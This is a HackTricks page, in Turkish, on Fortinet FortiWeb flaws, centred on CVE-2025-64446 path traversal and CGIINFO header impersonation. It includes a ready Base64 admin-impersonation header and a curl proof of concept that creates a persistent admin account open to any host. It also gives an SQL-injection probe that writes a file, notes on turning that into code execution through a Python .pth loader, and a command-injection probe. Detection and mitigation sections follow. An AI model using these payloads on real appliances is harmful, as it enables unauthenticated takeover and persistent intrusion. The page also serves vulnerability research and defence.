Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

Fortinet FortiWeb, /cgi-bin/fwbcgi konumunda merkezi bir CGI dağıtıcısı açığa çıkarır. İki açık zinciri, kimliği doğrulanmamış uzaktan bir saldırganın şunları yapmasına izin verir:

  • Geçerli bir API prefix ile URL’yi başlatarak ve dizinleri geçerek fwbcgi’ye ulaşmak.
  • CGI’nin kimlik olarak güvendiği özel bir HTTP header sağlayarak herhangi bir kullanıcıyı (yerleşik admin dahil) taklit etmek.

Tedarikçi bildirimi: FG‑IR‑25‑910 (CVE‑2025‑64446). Sömürülmenin gerçek dünyada kalıcı admin kullanıcıları oluşturmak için kullanıldığı gözlemlenmiştir.

Etkilenen sürümler (kamuya açık dökümana göre):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 aşağıdaki traversal probe için HTTP 403 döndürür.

Hızlı zafiyet testi

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Yorum: HTTP 200 → muhtemelen savunmasız; HTTP 403 → yamalı.

Kök neden zinciri

  1. API-prefix path traversal to internal CGI
  • Geçerli bir FortiWeb API ön ekiyle başlayan herhangi bir istek yolu (ör., /api/v2.0/cmdb/ veya /api/v2.0/cmd/) ../ kullanarak /cgi-bin/fwbcgi’ye erişebilir.
  1. Minimal-body validation bypass
  • fwbcgi’ye ulaşıldığında, ilk kontrol /var/log/inputcheck/ altındaki yol-bağımlı bir dosyaya dayalı gevşek bir JSON denetimi gerçekleştirir. Dosya yoksa denetim hemen geçer. Dosya varsa, istek gövdesinin yalnızca geçerli JSON olması yeterlidir. Minimum uyumlu gövde olarak {} kullanın.
  1. Header-driven user impersonation
  • Program, CGI ortam değişkeni HTTP_CGIINFO’i (HTTP header CGIINFO’den türetilmiş) okur, Base64 ile decode eder, JSON’u parse eder ve öznitelikleri doğrudan login bağlamına kopyalar; domain/VDOM’u ayarlar. İlgili anahtarlar:
  • username, loginname, vdom, profname
  • Yerleşik admin’i taklit etmek için örnek JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Yukarıdakinin Base64’i (gerçek dünyada kullanıldığı hali):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Uçtan uca kötüye kullanım deseni (kimliksiz → admin)

  1. API-prefix traversal yoluyla /cgi-bin/fwbcgi’ye erişin.
  2. Girdi kontrolünü geçmek için herhangi geçerli bir JSON gövdesi (ör. {}) sağlayın.
  3. JSON’un hedef kimliğini tanımladığı header CGIINFO: <base64(json)> gönderin.
  4. Yetkili işlemleri gerçekleştirmek için fwbcgi tarafından beklenen backend JSON’u POST edin (ör., kalıcılık için bir admin kullanıcısı oluşturmak).

Minimal cURL PoC

  • Traversal açığını test et:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • admin kimliğine bürün ve yeni bir local admin user oluştur:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Notlar:

  • Geçerli herhangi bir JSON gövdesi yeterlidir (ör. {}) eğer /var/log/inputcheck/<path>.json mevcut değilse.
  • Eylem şeması FortiWeb’e özeldir; yukarıdaki örnek tam yetkili bir yerel admin ekler.

Hızlıca kontrol etmeye değer diğer FortiWeb 2025 zafiyetleri

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • Etkilenen sürümler: 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Düzeltildi: 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
  • Hata: get_fabric_user_by_token() Authorization: Bearer <token> değerini bir SQL sorgusunda doğrudan kullanıyor. Saldırgan, MySQL kullanıcısı olarak çalışan SQL sağlayıp SELECT ... INTO OUTFILE ile dosya bırakabilir; bu da kod yürütmeye (webshell/.pth loader) yol açar.
  • Tipik saldırı yüzeyi: yönetim düzleminde HTTP/HTTPS üzerinden erişilebilen /api/fabric/device/status (ve diğer Fabric Connector uç noktaları).
  • SQLi için hızlı test:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Silahlandırma: FortiWeb’in Python site-packages dizinine, yorumlayıcı başlatıldığında os;os.system(...) import eden bir .pth yazmak veya webroot altına bir CGI bırakmak. Servislerin yeniden yüklenmesi payload’u çalıştırır.
  • Tespit ipuçları: Authorization header’larında quotes/UNION/SELECT içermesi; /data/lib/python*/site-packages/ veya /data/var/waf/html/ROOT/cgi-bin/ altında beklenmeyen dosyalar.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Uygunsuz SAML imza doğrulaması, saldırganın FortiCloud SSO yanıtlarını sahteleyip kimlik bilgisi olmadan admin olarak oturum açmasına izin verir.
  • Sadece FortiCloud SSO login etkin olduğunda kötüye kullanılabilir (cihaz GUI üzerinden kaydedildiyse, kullanıcı onay kutusunun işaretini kaldırmadıysa otomatik olarak etkinleşir).
  • Etkilenenler (PSIRT’ye göre): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Düzeltildi: 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • Etkilenenler: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Düzeltildi: 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Pratik prob (zararsız): yönetim HTTP uç noktalarına ;id; içeren bir parametre gönderin ve komut çıktısı içeren 500 yanıtlarını izleyin; herhangi bir echo görülürse hemen engelleyin veya patch uygulayın.

Detection

  • API-önekli yollar içinde ../ içeren isteklerin /cgi-bin/fwbcgi’ye ulaşması (ör., /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • CGIINFO başlığının Base64 JSON içermesi ve username/loginname/vdom/profname anahtarlarını barındırması.
  • Fabric Connector SQLi: Authorization header’larında SQL metakarakterleri, Python site-packages/CGI dizinlerinde aniden beliren dosyalar, internet IP’lerinden /api/fabric/device/status’e yapılan istekler.
  • FortiCloud SSO: /var/log/ssod içinde beklenmeyen SAML issuer veya audience değerleri.
  • Arka uç artefaktları:
  • Yol-bağılı dosyalar /var/log/inputcheck/ altında (gate konfigürasyonu).
  • Beklenmeyen admin oluşturma ve konfigürasyon değişiklikleri.
  • Hızlı doğrulama: traversal probunun 200 döndürmesi (açık) vs 403 (düzeltilmiş sürümlerde engellenmiş).

Mitigation

  • Vendor advisory’e göre düzeltme içeren sürümlere yükseltin (örnekler: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12).
  • Diğer 2025 açıklarını da yama uygulayın: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • Yama uygulanana kadar:
  • FortiWeb yönetim düzlemini güvensiz ağlara açmayın.
  • Engellemek için reverse-proxy/WAF kuralları ekleyin:
  • /api/ ile başlayıp ../cgi-bin/fwbcgi içeren yollar.
  • CGIINFO başlığı taşıyan istekler.
  • Authorization içinde SQL metakarakterleri olan Fabric Connector çağrıları.
  • FortiCloud SSO kullanılmıyorsa SAML uç noktalarını internetten erişime kapatın.
  • Yukarıdaki tespit göstergelerini izleyin ve uyarı oluşturun.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin